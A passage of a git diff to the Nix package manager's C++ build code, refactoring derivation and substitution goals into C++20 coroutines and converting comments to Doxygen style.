{ + auto i = buildResult.builtOutputs.find(outputName); + if (i != buildResult.builtOutputs.end()) inputDrvOutputs.insert_or_assign( - { bfd->drvPath, output.outputName }, - realisation.outPath); + { dg->drvPath, outputName }, + i->second.outPath); + } + } } } diff --git a/src/libstore/build/derivation-goal.hh b/src/libstore/build/derivation-goal.hh index d33e04cbc..ad3d9ca2a 100644 --- a/src/libstore/build/derivation-goal.hh +++ b/src/libstore/build/derivation-goal.hh @@ -1,7 +1,11 @@ #pragma once +///@file #include "parsed-derivations.hh" -#include "lock.hh" +#ifndef _WIN32 +# include "user-lock.hh" +#endif +#include "outputs-spec.hh" #include "store-api.hh" #include "pathlocks.hh" #include "goal.hh" @@ -10,12 +14,16 @@ namespace nix { using std::map; +#ifndef _WIN32 // TODO enable build hook on Windows struct HookInstance; +#endif typedef enum {rpAccept, rpDecline, rpPostpone} HookReply; -/* Unless we are repairing, we don't both to test validity and just assume it, - so the choices are `Absent` or `Valid`. */ +/** + * Unless we are repairing, we don't both to test validity and just assume it, + * so the choices are `Absent` or `Valid`. + */ enum struct PathStatus { Corrupt, Absent, @@ -25,11 +33,15 @@ enum struct PathStatus { struct InitialOutputStatus { StorePath path; PathStatus status; - /* Valid in the store, and additionally non-corrupt if we are repairing */ + /** + * Valid in the store, and additionally non-corrupt if we are repairing + */ bool isValid() const { return status == PathStatus::Valid; } - /* Merely present, allowed to be corrupt */ + /** + * Merely present, allowed to be corrupt + */ bool isPresent() const { return status == PathStatus::Corrupt || status == PathStatus::Valid; @@ -42,61 +54,127 @@ struct InitialOutput { std::optional known; }; +/** + * A goal for building some or all of the outputs of a derivation. + */ struct DerivationGoal : public Goal { - /* Whether to use an on-disk .drv file. */ + /** + * Whether to use an on-disk .drv file. + */ bool useDerivation; - /* The path of the derivation. */ + /** The path of the derivation. */ StorePath drvPath; - /* The goal for the corresponding resolved derivation */ + /** + * The goal for the corresponding resolved derivation + */ std::shared_ptr resolvedDrvGoal; - /* The specific outputs that we need to build. Empty means all of - them. */ - StringSet wantedOutputs; + /** + * The specific outputs that we need to build. + */ + OutputsSpec wantedOutputs; - /* Mapping from input derivations + output names to actual store - paths. This is filled in by waiteeDone() as each dependency - finishes, before inputsRealised() is reached, */ + /** + * Mapping from input derivations + output names to actual store + * paths. This is filled in by waiteeDone() as each dependency + * finishes, before inputsRealised() is reached. + */ std::map, StorePath> inputDrvOutputs; - /* Whether additional wanted outputs have been added. */ - bool needRestart = false; + /** + * See `needRestart`; just for that field. + */ + enum struct NeedRestartForMoreOutputs { + /** + * The goal state machine is progressing based on the current value of + * `wantedOutputs. No actions are needed. + */ + OutputsUnmodifedDontNeed, + /** + * `wantedOutputs` has been extended, but the state machine is + * proceeding according to its old value, so we need to restart. + */ + OutputsAddedDoNeed, + /** + * The goal state machine has progressed to the point of doing a build, + * in which case all outputs will be produced, so extensions to + * `wantedOutputs` no longer require a restart. + */ + BuildInProgressWillNotNeed, + }; - /* Whether to retry substituting the outputs after building the - inputs. This is done in case of an incomplete closure. */ - bool retrySubstitution = false; + /** + * Whether additional wanted outputs have been added. + */ + NeedRestartForMoreOutputs needRestart = NeedRestartForMoreOutputs::OutputsUnmodifedDontNeed; - /* Whether we've retried substitution, in which case we won't try - again. */ - bool retriedSubstitution = false; + /** + * See `retrySubstitution`; just for that field. + */ + enum RetrySubstitution { + /** + * No issues have yet arose, no need to restart. + */ + NoNeed, + /** + * Something failed and there is an incomplete closure. Let's retry + * substituting. + */ + YesNeed, + /** + * We are current or have already retried substitution, and whether or + * not something goes wrong we will not retry again. + */ + AlreadyRetried, + }; - /* The derivation stored at drvPath. */ + /** + * Whether to retry substituting the outputs after building the + * inputs. This is done in case of an incomplete closure. + */ + RetrySubstitution retrySubstitution = RetrySubstitution::NoNeed; + + /** + * The derivation stored at drvPath. + */ std::unique_ptr drv; std::unique_ptr parsedDrv; - /* The remainder is state held during the build. */ + /** + * The remainder is state held during the build. + */ - /* Locks on (fixed) output paths. */ + /** + * Locks on (fixed) output paths. + */ PathLocks outputLocks; - /* All input paths (that is, the union of FS closures of the - immediate input paths). */ + /** + * All input paths (that is, the union of FS closures of the + * immediate input paths). + */ StorePathSet inputPaths; std::map initialOutputs; - /* File descriptor for the log file. */ + /** + * File descriptor for the log file. + */ AutoCloseFD fdLogFile; std::shared_ptr logFileSink, logSink; - /* Number of bytes received from the builder's stdout/stderr. */ + /** + * Number of bytes received from the builder's stdout/stderr. + */ unsigned long logSize; - /* The most recent log lines. */ + /** + * The most recent log lines. + */ std::list logTail; std::string currentLogLine; @@ -104,14 +182,17 @@ struct DerivationGoal : public Goal std::string currentHookLine; - /* The build hook. */ +#ifndef _WIN32 // TODO enable build hook on Windows + /** + * The build hook. + */ std::unique_ptr hook; +#endif - /* The sort of derivation we are building. */ - DerivationType derivationType; - - typedef void (DerivationGoal::*GoalState)(); - GoalState state; + /** + * The sort of derivation we are building. + */ + std::optional derivationType; BuildMode buildMode; @@ -119,19 +200,23 @@ struct DerivationGoal : public Goal std::unique_ptr act; - /* Activity that denotes waiting for a lock. */ + /** + * Activity that denotes waiting for a lock. + */ std::unique_ptr actLock; std::map builderActivities; - /* The remote machine on which we're building. */ + /** + * The remote machine on which we're building. + */ std::string machineName; DerivationGoal(const StorePath & drvPath, - const StringSet & wantedOutputs, Worker & worker, + const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode = bmNormal); DerivationGoal(const StorePath & drvPath, const BasicDerivation & drv, - const StringSet & wantedOutputs, Worker & worker, + const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode = bmNormal); virtual ~DerivationGoal(); @@ -139,47 +224,64 @@ struct DerivationGoal : public Goal std::string key() override; - void work() override; + /** + * Add wanted outputs to an already existing derivation goal. + */ + void addWantedOutputs(const OutputsSpec & outputs); - /* Add wanted outputs to an already existing derivation goal. */ - void addWantedOutputs(const StringSet & outputs); + /** + * The states. + */ + Co init() override; + Co getDerivation(); + Co loadDerivation(); + Co haveDerivation(); + Co outputsSubstitutionTried(); + Co gaveUpOnSubstitution(); + Co closureRepaired(); + Co inputsRealised(); + Co tryToBuild(); + virtual Co tryLocalBuild(); + Co buildDone(); - /* The states. */ - void getDerivation(); - void loadDerivation(); - void haveDerivation(); - void outputsSubstitutionTried(); - void gaveUpOnSubstitution(); - void closureRepaired(); - void inputsRealised(); - void tryToBuild(); - virtual void tryLocalBuild(); - void buildDone(); + Co resolvedFinished(); - void resolvedFinished(); - - /* Is the build hook willing to perform the build? */ + /** + * Is the build hook willing to perform the build? + */ HookReply tryBuildHook(); virtual int getChildStatus(); - /* Check that the derivation outputs all exist and register them - as valid. */ - virtual DrvOutputs registerOutputs(); + /** + * Check that the derivation outputs all exist and register them + * as valid. + */ + virtual SingleDrvOutputs registerOutputs(); - /* Open a log file and a pipe to it. */ + /** + * Open a log file and a pipe to it. + */ Path openLogFile(); - /* Sign the newly built realisation if the store allows it */ + /** + * Sign the newly built realisation if the store allows it + */ virtual void signRealisation(Realisation&) {} - /* Close the log file. */ + /** + * Close the log file. + */ void closeLogFile(); - /* Close the read side of the logger pipe. */ + /** + * Close the read side of the logger pipe. + */ virtual void closeReadPipes(); - /* Cleanup hooks for buildDone() */ + /** + * Cleanup hooks for buildDone() + */ virtual void cleanupHookFinally(); virtual void cleanupPreChildKill(); virtual void cleanupPostChildKill(); @@ -187,46 +289,58 @@ struct DerivationGoal : public Goal virtual void cleanupPostOutputsRegisteredModeCheck(); virtual void cleanupPostOutputsRegisteredModeNonCheck(); - virtual bool isReadDesc(int fd); + virtual bool isReadDesc(Descriptor fd); - /* Callback used by the worker to write to the log. */ - void handleChildOutput(int fd, std::string_view data) override; - void handleEOF(int fd) override; + /** + * Callback used by the worker to write to the log. + */ + void handleChildOutput(Descriptor fd, std::string_view data) override; + void handleEOF(Descriptor fd) override; void flushLine(); - /* Wrappers around the corresponding Store methods that first consult the - derivation. This is currently needed because when there is no drv file - there also is no DB entry. */ + /** + * Wrappers around the corresponding Store methods that first consult the + * derivation. This is currently needed because when there is no drv file + * there also is no DB entry. + */ std::map> queryPartialDerivationOutputMap(); OutputPathMap queryDerivationOutputMap(); - /* Update 'initialOutputs' to determine the current status of the - outputs of the derivation. Also returns a Boolean denoting - whether all outputs are valid and non-corrupt, and a - 'DrvOutputs' structure containing the valid and wanted - outputs. */ - std::pair checkPathValidity(); + /** + * Update 'initialOutputs' to determine the current status of the + * outputs of the derivation. Also returns a Boolean denoting + * whether all outputs are valid and non-corrupt, and a + * 'SingleDrvOutputs' structure containing the valid outputs. + */ + std::pair checkPathValidity(); - /* Aborts if any output is not valid or corrupt, and otherwise - returns a 'DrvOutputs' structure containing the wanted - outputs. */ - DrvOutputs assertPathValidity(); + /** + * Aborts if any output is not valid or corrupt, and otherwise + * returns a 'SingleDrvOutputs' structure containing all outputs. + */ + SingleDrvOutputs assertPathValidity(); - /* Forcibly kill the child process, if any. */ + /** + * Forcibly kill the child process, if any. + */ virtual void killChild(); - void repairClosure(); + Co repairClosure(); void started(); - void done( + Done done( BuildResult::Status status, - DrvOutputs builtOutputs = {}, + SingleDrvOutputs builtOutputs = {}, std::optional ex = {}); void waiteeDone(GoalPtr waitee, ExitCode result) override; StorePathSet exportReferences(const StorePathSet & storePaths); + + JobCategory jobCategory() const override { + return JobCategory::Build; + }; }; MakeError(NotDeterministic, BuildError); diff --git a/src/libstore/build/drv-output-substitution-goal.cc b/src/libstore/build/drv-output-substitution-goal.cc index b7f7b5ab1..dedcad2b1 100644 --- a/src/libstore/build/drv-output-substitution-goal.cc +++ b/src/libstore/build/drv-output-substitution-goal.cc @@ -14,131 +14,135 @@ DrvOutputSubstitutionGoal::DrvOutputSubstitutionGoal( : Goal(worker, DerivedPath::Opaque { StorePath::dummy }) , id(id) { - state = &DrvOutputSubstitutionGoal::init; name = fmt("substitution of '%s'", id.to_string()); trace("created"); } -void DrvOutputSubstitutionGoal::init() +Goal::Co DrvOutputSubstitutionGoal::init() { trace("init"); /* If the derivation already exists, we’re done */ if (worker.store.queryRealisation(id)) { - amDone(ecSuccess); - return; + co_return amDone(ecSuccess); } - subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); - tryNext(); -} + auto subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); -void DrvOutputSubstitutionGoal::tryNext() -{ - trace("trying next substituter"); + bool substituterFailed = false; - if (subs.size() == 0) { - /* None left. Terminate this goal and let someone else deal - with it. */ - debug("derivation output '%s' is required, but there is no substituter that can provide it", id.to_string()); + for (auto sub : subs) { + trace("trying next substituter"); - /* Hack: don't indicate failure if there were no substituters. - In that case the calling derivation should just do a - build. */ - amDone(substituterFailed ? ecFailed : ecNoSubstituters); + /* The callback of the curl download below can outlive `this` (if + some other error occurs), so it must not touch `this`. So put + the shared state in a separate refcounted object. */ + auto outPipe = std::make_shared(); + #ifndef _WIN32 + outPipe->create(); + #else + outPipe->createAsyncPipe(worker.ioport.get()); + #endif - if (substituterFailed) { - worker.failedSubstitutions++; - worker.updateProgress(); + auto promise = std::make_shared>>(); + + sub->queryRealisation( + id, + { [outPipe(outPipe), promise(promise)](std::future> res) { + try { + Finally updateStats([&]() { outPipe->writeSide.close(); }); + promise->set_value(res.get()); + } catch (...) { + promise->set_exception(std::current_exception()); + } + } }); + + worker.childStarted(shared_from_this(), { + #ifndef _WIN32 + outPipe->readSide.get() + #else + &*outPipe + #endif + }, true, false); + + co_await Suspend{}; + + worker.childTerminated(this); + + /* + * The realisation corresponding to the given output id. + * Will be filled once we can get it. + */ + std::shared_ptr outputInfo; + + try { + outputInfo = promise->get_future().get(); + } catch (std::exception & e) { + printError(e.what()); + substituterFailed = true; } - return; + if (!outputInfo) continue; + + bool failed = false; + + for (const auto & [depId, depPath] : outputInfo->dependentRealisations) { + if (depId != id) { + if (auto localOutputInfo = worker.store.queryRealisation(depId); + localOutputInfo && localOutputInfo->outPath != depPath) { + warn( + "substituter '%s' has an incompatible realisation for '%s', ignoring.\n" + "Local: %s\n" + "Remote: %s", + sub->getUri(), + depId.to_string(), + worker.store.printStorePath(localOutputInfo->outPath), + worker.store.printStorePath(depPath) + ); + failed = true; + break; + } + addWaitee(worker.makeDrvOutputSubstitutionGoal(depId)); + } + } + + if (failed) continue; + + co_return realisationFetched(outputInfo, sub); } - sub = subs.front(); - subs.pop_front(); + /* None left. Terminate this goal and let someone else deal + with it. */ + debug("derivation output '%s' is required, but there is no substituter that can provide it", id.to_string()); - // FIXME: Make async - // outputInfo = sub->queryRealisation(id); - outPipe.create(); - promise = decltype(promise)(); + if (substituterFailed) { + worker.failedSubstitutions++; + worker.updateProgress(); + } - sub->queryRealisation( - id, { [&](std::future> res) { - try { - Finally updateStats([this]() { outPipe.writeSide.close(); }); - promise.set_value(res.get()); - } catch (...) { - promise.set_exception(std::current_exception()); - } - } }); - - worker.childStarted(shared_from_this(), {outPipe.readSide.get()}, true, false); - - state = &DrvOutputSubstitutionGoal::realisationFetched; + /* Hack: don't indicate failure if there were no substituters. + In that case the calling derivation should just do a + build. */ + co_return amDone(substituterFailed ? ecFailed : ecNoSubstituters); } -void DrvOutputSubstitutionGoal::realisationFetched() -{ - worker.childTerminated(this); - - try { - outputInfo = promise.get_future().get(); - } catch (std::exception & e) { - printError(e.what()); - substituterFailed = true; - } - - if (!outputInfo) { - return tryNext(); - } - - for (const auto & [depId, depPath] : outputInfo->dependentRealisations) { - if (depId != id) { - if (auto localOutputInfo = worker.store.queryRealisation(depId); - localOutputInfo && localOutputInfo->outPath != depPath) { - warn( - "substituter '%s' has an incompatible realisation for '%s', ignoring.\n" - "Local: %s\n" - "Remote: %s", - sub->getUri(), - depId.to_string(), - worker.store.printStorePath(localOutputInfo->outPath), - worker.store.printStorePath(depPath) - ); - tryNext(); - return; - } - addWaitee(worker.makeDrvOutputSubstitutionGoal(depId)); - } - } - +Goal::Co DrvOutputSubstitutionGoal::realisationFetched(std::shared_ptr outputInfo, nix::ref sub) { addWaitee(worker.makePathSubstitutionGoal(outputInfo->outPath)); - if (waitees.empty()) outPathValid(); - else state = &DrvOutputSubstitutionGoal::outPathValid; -} + if (!waitees.empty()) co_await Suspend{}; -void DrvOutputSubstitutionGoal::outPathValid() -{ - assert(outputInfo); trace("output path substituted"); if (nrFailed > 0) { debug("The output path of the derivation output '%s' could not be substituted", id.to_string()); - amDone(nrNoSubstituters > 0 || nrIncompleteClosure > 0 ? ecIncompleteClosure : ecFailed); - return; + co_return amDone(nrNoSubstituters > 0 || nrIncompleteClosure > 0 ? ecIncompleteClosure : ecFailed); } worker.store.registerDrvOutput(*outputInfo); - finished(); -} -void DrvOutputSubstitutionGoal::finished() -{ trace("finished"); - amDone(ecSuccess); + co_return amDone(ecSuccess); } std::string DrvOutputSubstitutionGoal::key() @@ -148,14 +152,9 @@ std::string DrvOutputSubstitutionGoal::key() return "a$" + std::string(id.to_string()); } -void DrvOutputSubstitutionGoal::work() +void DrvOutputSubstitutionGoal::handleEOF(Descriptor fd) { - (this->*state)(); -} - -void DrvOutputSubstitutionGoal::handleEOF(int fd) -{ - if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this()); + worker.wakeUp(shared_from_this()); } diff --git a/src/libstore/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh index 948dbda8f..8c60d0198 100644 --- a/src/libstore/build/drv-output-substitution-goal.hh +++ b/src/libstore/build/drv-output-substitution-goal.hh @@ -1,60 +1,50 @@ #pragma once +///@file + +#include +#include #include "store-api.hh" #include "goal.hh" #include "realisation.hh" -#include -#include +#include "muxable-pipe.hh" namespace nix { class Worker; -// Substitution of a derivation output. -// This is done in three steps: -// 1. Fetch the output info from a substituter -// 2. Substitute the corresponding output path -// 3. Register the output info +/** + * Substitution of a derivation output. + * This is done in three steps: + * 1. Fetch the output info from a substituter + * 2. Substitute the corresponding output path + * 3. Register the output info + */ class DrvOutputSubstitutionGoal : public Goal { -private: - // The drv output we're trying to substitue + + /** + * The drv output we're trying to substitute + */ DrvOutput id; - // The realisation corresponding to the given output id. - // Will be filled once we can get it. - std::shared_ptr outputInfo; - - /* The remaining substituters. */ - std::list> subs; - - /* The current substituter. */ - std::shared_ptr sub; - - Pipe outPipe; - std::thread thr; - std::promise> promise; - - /* Whether a substituter failed. */ - bool substituterFailed = false; - public: DrvOutputSubstitutionGoal(const DrvOutput& id, Worker & worker, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); typedef void (DrvOutputSubstitutionGoal::*GoalState)(); GoalState state; - void init(); - void tryNext(); - void realisationFetched(); - void outPathValid(); - void finished(); + Co init() override; + Co realisationFetched(std::shared_ptr outputInfo, nix::ref sub); - void timedOut(Error && ex) override { abort(); }; + void timedOut(Error && ex) override { unreachable(); }; std::string key() override; - void work() override; - void handleEOF(int fd) override; + void handleEOF(Descriptor fd) override; + + JobCategory jobCategory() const override { + return JobCategory::Substitution; + }; }; } diff --git a/src/libstore/build/entry-points.cc b/src/libstore/build/entry-points.cc index e1b80165e..4c1373bfa 100644 --- a/src/libstore/build/entry-points.cc +++ b/src/libstore/build/entry-points.cc @@ -1,7 +1,10 @@ #include "worker.hh" #include "substitution-goal.hh" -#include "derivation-goal.hh" +#ifndef _WIN32 // TODO Enable building on Windows +# include "derivation-goal.hh" +#endif #include "local-store.hh" +#include "strings.hh" namespace nix { @@ -10,20 +13,12 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod Worker worker(*this, evalStore ? *evalStore : *this); Goals goals; - for (const auto & br : reqs) { - std::visit(overloaded { - [&](const DerivedPath::Built & bfd) { - goals.insert(worker.makeDerivationGoal(bfd.drvPath, bfd.outputs, buildMode)); - }, - [&](const DerivedPath::Opaque & bo) { - goals.insert(worker.makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair)); - }, - }, br.raw()); - } + for (auto & br : reqs) + goals.insert(worker.makeGoal(br, buildMode)); worker.run(goals); - StorePathSet failed; + StringSet failed; std::optional ex; for (auto & i : goals) { if (i->ex) { @@ -33,21 +28,26 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod ex = std::move(i->ex); } if (i->exitCode != Goal::ecSuccess) { - if (auto i2 = dynamic_cast(i.get())) failed.insert(i2->drvPath); - else if (auto i2 = dynamic_cast(i.get())) failed.insert(i2->storePath); +#ifndef _WIN32 // TODO Enable building on Windows + if (auto i2 = dynamic_cast(i.get())) + failed.insert(printStorePath(i2->drvPath)); + else +#endif + if (auto i2 = dynamic_cast(i.get())) + failed.insert(printStorePath(i2->storePath)); } } if (failed.size() == 1 && ex) { - ex->status = worker.exitStatus(); + ex->withExitStatus(worker.failingExitStatus()); throw std::move(*ex); } else if (!failed.empty()) { if (ex) logError(ex->info()); - throw Error(worker.exitStatus(), "build of %s failed", showPaths(failed)); + throw Error(worker.failingExitStatus(), "build of %s failed", concatStringsSep(", ", quoteStrings(failed))); } } -std::vector Store::buildPathsWithResults( +std::vector Store::buildPathsWithResults( const std::vector & reqs, BuildMode buildMode, std::shared_ptr evalStore) @@ -55,23 +55,23 @@ std::vector Store::buildPathsWithResults( Worker worker(*this, evalStore ? *evalStore : *this); Goals goals; - for (const auto & br : reqs) { - std::visit(overloaded { - [&](const DerivedPath::Built & bfd) { - goals.insert(worker.makeDerivationGoal(bfd.drvPath, bfd.outputs, buildMode)); - }, - [&](const DerivedPath::Opaque & bo) { - goals.insert(worker.makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair)); - }, - }, br.raw()); + std::vector> state; + + for (const auto & req : reqs) { + auto goal = worker.makeGoal(req, buildMode); + goals.insert(goal); + state.push_back({req, goal}); } worker.run(goals); - std::vector results; + std::vector results; - for (auto & i : goals) - results.push_back(i->buildResult); + for (auto & [req, goalPtr] : state) + results.emplace_back(KeyedBuildResult { + goalPtr->getBuildResult(req), + /* .path = */ req, + }); return results; } @@ -80,16 +80,23 @@ BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivat BuildMode buildMode) { Worker worker(*this, *this); - auto goal = worker.makeBasicDerivationGoal(drvPath, drv, {}, buildMode); +#ifndef _WIN32 // TODO Enable building on Windows + auto goal = worker.makeBasicDerivationGoal(drvPath, drv, OutputsSpec::All {}, buildMode); +#else + std::shared_ptr goal; + throw UnimplementedError("Building derivations not yet implemented on windows."); +#endif try { worker.run(Goals{goal}); - return goal->buildResult; + return goal->getBuildResult(DerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::All {}, + }); } catch (Error & e) { return BuildResult { .status = BuildResult::MiscFailure, .errorMsg = e.msg(), - .path = DerivedPath::Built { .drvPath = drvPath }, }; }; } @@ -108,15 +115,15 @@ void Store::ensurePath(const StorePath & path) if (goal->exitCode != Goal::ecSuccess) { if (goal->ex) { - goal->ex->status = worker.exitStatus(); + goal->ex->withExitStatus(worker.failingExitStatus()); throw std::move(*goal->ex); } else - throw Error(worker.exitStatus(), "path '%s' does not exist and cannot be created", printStorePath(path)); + throw Error(worker.failingExitStatus(), "path '%s' does not exist and cannot be created", printStorePath(path)); } } -void LocalStore::repairPath(const StorePath & path) +void Store::repairPath(const StorePath & path) { Worker worker(*this, *this); GoalPtr goal = worker.makePathSubstitutionGoal(path, Repair); @@ -130,10 +137,14 @@ void LocalStore::repairPath(const StorePath & path) auto info = queryPathInfo(path); if (info->deriver && isValidPath(*info->deriver)) { goals.clear(); - goals.insert(worker.makeDerivationGoal(*info->deriver, StringSet(), bmRepair)); + goals.insert(worker.makeGoal(DerivedPath::Built { + .drvPath = makeConstantStorePathRef(*info->deriver), + // FIXME: Should just build the specific output we need. + .outputs = OutputsSpec::All { }, + }, bmRepair)); worker.run(goals); } else - throw Error(worker.exitStatus(), "cannot repair path '%s'", printStorePath(path)); + throw Error(worker.failingExitStatus(), "cannot repair path '%s'", printStorePath(path)); } } diff --git a/src/libstore/build/goal.cc b/src/libstore/build/goal.cc index 58e805f55..9a16da145 100644 --- a/src/libstore/build/goal.cc +++ b/src/libstore/build/goal.cc @@ -3,6 +3,97 @@ namespace nix { +using Co = nix::Goal::Co; +using promise_type = nix::Goal::promise_type; +using handle_type = nix::Goal::handle_type; +using Suspend = nix::Goal::Suspend; + +Co::Co(Co&& rhs) { + this->handle = rhs.handle; + rhs.handle = nullptr; +} +void Co::operator=(Co&& rhs) { + this->handle = rhs.handle; + rhs.handle = nullptr; +} +Co::~Co() { + if (handle) { + handle.promise().alive = false; + handle.destroy(); + } +} + +Co promise_type::get_return_object() { + auto handle = handle_type::from_promise(*this); + return Co{handle}; +}; + +std::coroutine_handle<> promise_type::final_awaiter::await_suspend(handle_type h) noexcept { + auto& p = h.promise(); + auto goal = p.goal; + assert(goal); + goal->trace("in final_awaiter"); + auto c = std::move(p.continuation); + + if (c) { + // We still have a continuation, i.e. work to do. + // We assert that the goal is still busy. + assert(goal->exitCode == ecBusy); + assert(goal->top_co); // Goal must have an active coroutine. + assert(goal->top_co->handle == h); // The active coroutine must be us. + assert(p.alive); // We must not have been destructed. + + // we move continuation to the top, + // note: previous top_co is actually h, so by moving into it, + // we're calling the destructor on h, DON'T use h and p after this! + + // We move our continuation into `top_co`, i.e. the marker for the active continuation. + // By doing this we destruct the old `top_co`, i.e. us, so `h` can't be used anymore. + // Be careful not to access freed memory! + goal->top_co = std::move(c); + + // We resume `top_co`. + return goal->top_co->handle; + } else { + // We have no continuation, i.e. no more work to do, + // so the goal must not be busy anymore. + assert(goal->exitCode != ecBusy); + + // We reset `top_co` for good measure. + p.goal->top_co = {}; + + // We jump to the noop coroutine, which doesn't do anything and immediately suspends. + // This passes control back to the caller of goal.work(). + return std::noop_coroutine(); + } +} + +void promise_type::return_value(Co&& next) { + goal->trace("return_value(Co&&)"); + // Save old continuation. + auto old_continuation = std::move(continuation); + // We set next as our continuation. + continuation = std::move(next); + // We set next's goal, and thus it must not have one already. + assert(!continuation->handle.promise().goal); + continuation->handle.promise().goal = goal; + // Nor can next have a continuation, as we set it to our old one. + assert(!continuation->handle.promise().continuation); + continuation->handle.promise().continuation = std::move(old_continuation); +} + +std::coroutine_handle<> nix::Goal::Co::await_suspend(handle_type caller) { + assert(handle); // we must be a valid coroutine + auto& p = handle.promise(); + assert(!p.continuation); // we must have no continuation + assert(!p.goal); // we must not have a goal yet + auto goal = caller.promise().goal; + assert(goal); + p.goal = goal; + p.continuation = std::move(goal->top_co); // we set our continuation to be top_co (i.e. caller) + goal->top_co = std::move(*this); // we set top_co to ourselves, don't use this anymore after this! + return p.goal->top_co->handle; // we execute ourselves +} bool CompareGoalPtrs::operator() (const GoalPtr & a, const GoalPtr & b) const { std::string s1 = a->key(); @@ -11,6 +102,29 @@ bool CompareGoalPtrs::operator() (const GoalPtr & a, const GoalPtr & b) const { } +BuildResult Goal::getBuildResult(const DerivedPath & req) const { + BuildResult res { buildResult }; + + if (auto pbp = std::get_if(&req)) { + auto & bp = *pbp; + + /* Because goals are in general shared between derived paths + that share the same derivation, we need to filter their + results to get back just the results we care about. + */ + + for (auto it = res.builtOutputs.begin(); it != res.builtOutputs.end();) { + if (bp.outputs.contains(it->first)) + ++it; + else + it = res.builtOutputs.erase(it); + } + } + + return res; +} + + void addToWeakGoals(WeakGoals & goals, GoalPtr p) { if (goals.find(p) != goals.end()) @@ -52,10 +166,10 @@ void Goal::waiteeDone(GoalPtr waitee, ExitCode result) } } - -void Goal::amDone(ExitCode result, std::optional ex) +Goal::Done Goal::amDone(ExitCode result, std::optional ex) { trace("done"); + assert(top_co); assert(exitCode == ecBusy); assert(result == ecSuccess || result == ecFailed || result == ecNoSubstituters || result == ecIncompleteClosure); exitCode = result; @@ -75,12 +189,31 @@ void Goal::amDone(ExitCode result, std::optional ex) worker.removeGoal(shared_from_this()); cleanup(); + + // We drop the continuation. + // In `final_awaiter` this will signal that there is no more work to be done. + top_co->handle.promise().continuation = {}; + + // won't return to caller because of logic in final_awaiter + return Done{}; } -void Goal::trace(const FormatOrString & fs) +void Goal::trace(std::string_view s) { - debug("%1%: %2%", name, fs.s); + debug("%1%: %2%", name, s); } +void Goal::work() +{ + assert(top_co); + assert(top_co->handle); + assert(top_co->handle.promise().alive); + top_co->handle.resume(); + // We either should be in a state where we can be work()-ed again, + // or we should be done. + assert(top_co || exitCode != ecBusy); +} + + } diff --git a/src/libstore/build/goal.hh b/src/libstore/build/goal.hh index 35121c5d9..9c6a40c84 100644 --- a/src/libstore/build/goal.hh +++ b/src/libstore/build/goal.hh @@ -1,16 +1,22 @@ #pragma once +///@file -#include "types.hh" #include "store-api.hh" #include "build-result.hh" +#include + namespace nix { -/* Forward definition. */ +/** + * Forward definition. + */ struct Goal; class Worker; -/* A pointer to a goal. */ +/** + * A pointer to a goal. + */ typedef std::shared_ptr GoalPtr; typedef std::weak_ptr WeakGoalPtr; @@ -18,95 +24,422 @@ struct CompareGoalPtrs { bool operator() (const GoalPtr & a, const GoalPtr & b) const; }; -/* Set of goals. */ +/** + * Set of goals. + */ typedef std::set Goals; typedef std::set> WeakGoals; -/* A map of paths to goals (and the other way around). */ +/** + * A map of paths to goals (and the other way around). + */ typedef std::map WeakGoalMap; +/** + * Used as a hint to the worker on how to schedule a particular goal. For example, + * builds are typically CPU- and memory-bound, while substitutions are I/O bound. + * Using this information, the worker might decide to schedule more or fewer goals + * of each category in parallel. + */ +enum struct JobCategory { + /** + * A build of a derivation; it will use CPU and disk resources. + */ + Build, + /** + * A substitution an arbitrary store object; it will use network resources. + */ + Substitution, +}; + struct Goal : public std::enable_shared_from_this { typedef enum {ecBusy, ecSuccess, ecFailed, ecNoSubstituters, ecIncompleteClosure} ExitCode; - /* Backlink to the worker. */ + /** + * Backlink to the worker. + */ Worker & worker; - /* Goals that this goal is waiting for. */ + /** + * Goals that this goal is waiting for. + */ Goals waitees; - /* Goals waiting for this one to finish. Must use weak pointers - here to prevent cycles. */ + /** + * Goals waiting for this one to finish. Must use weak pointers + * here to prevent cycles. + */ WeakGoals waiters; - /* Number of goals we are/were waiting for that have failed. */ + /** + * Number of goals we are/were waiting for that have failed. + */ size_t nrFailed = 0; - /* Number of substitution goals we are/were waiting for that - failed because there are no substituters. */ + /** + * Number of substitution goals we are/were waiting for that + * failed because there are no substituters. + */ size_t nrNoSubstituters = 0; - /* Number of substitution goals we are/were waiting for that - failed because they had unsubstitutable references. */ + /** + * Number of substitution goals we are/were waiting for that + * failed because they had unsubstitutable references. + */ size_t nrIncompleteClosure = 0; - /* Name of this goal for debugging purposes. */ + /** + * Name of this goal for debugging purposes. + */ std::string name; - /* Whether the goal is finished. */ + /** + * Whether the goal is finished. + */ ExitCode exitCode = ecBusy; - /* Build result. */ +protected: + /** + * Build result. + */ BuildResult buildResult; +public: - /* Exception containing an error message, if any. */ + /** + * Suspend our goal and wait until we get @ref work()-ed again. + * `co_await`-able by @ref Co. + */ + struct Suspend {}; + + /** + * Return from the current coroutine and suspend our goal + * if we're not busy anymore, or jump to the next coroutine + * set to be executed/resumed. + */ + struct Return {}; + + /** + * `co_return`-ing this will end the goal. + * If you're not inside a coroutine, you can safely discard this. + */ + struct [[nodiscard]] Done { + private: + Done(){} + + friend Goal; + }; + + // forward declaration of promise_type, see below + struct promise_type; + + /** + * Handle to coroutine using @ref Co and @ref promise_type. + */ + using handle_type = std::coroutine_handle; + + /** + * C++20 coroutine wrapper for use in goal logic. + * Coroutines are functions that use `co_await`/`co_return` (and `co_yield`, but not supported by @ref Co). + * + * @ref Co is meant to be used by methods of subclasses of @ref Goal. + * The main functionality provided by `Co` is + * - `co_await Suspend{}`: Suspends the goal. + * - `co_await f()`: Waits until `f()` finishes. + * - `co_return f()`: Tail-calls `f()`. + * - `co_return Return{}`: Ends coroutine. + * + * The idea is that you implement the goal logic using coroutines, + * and do the 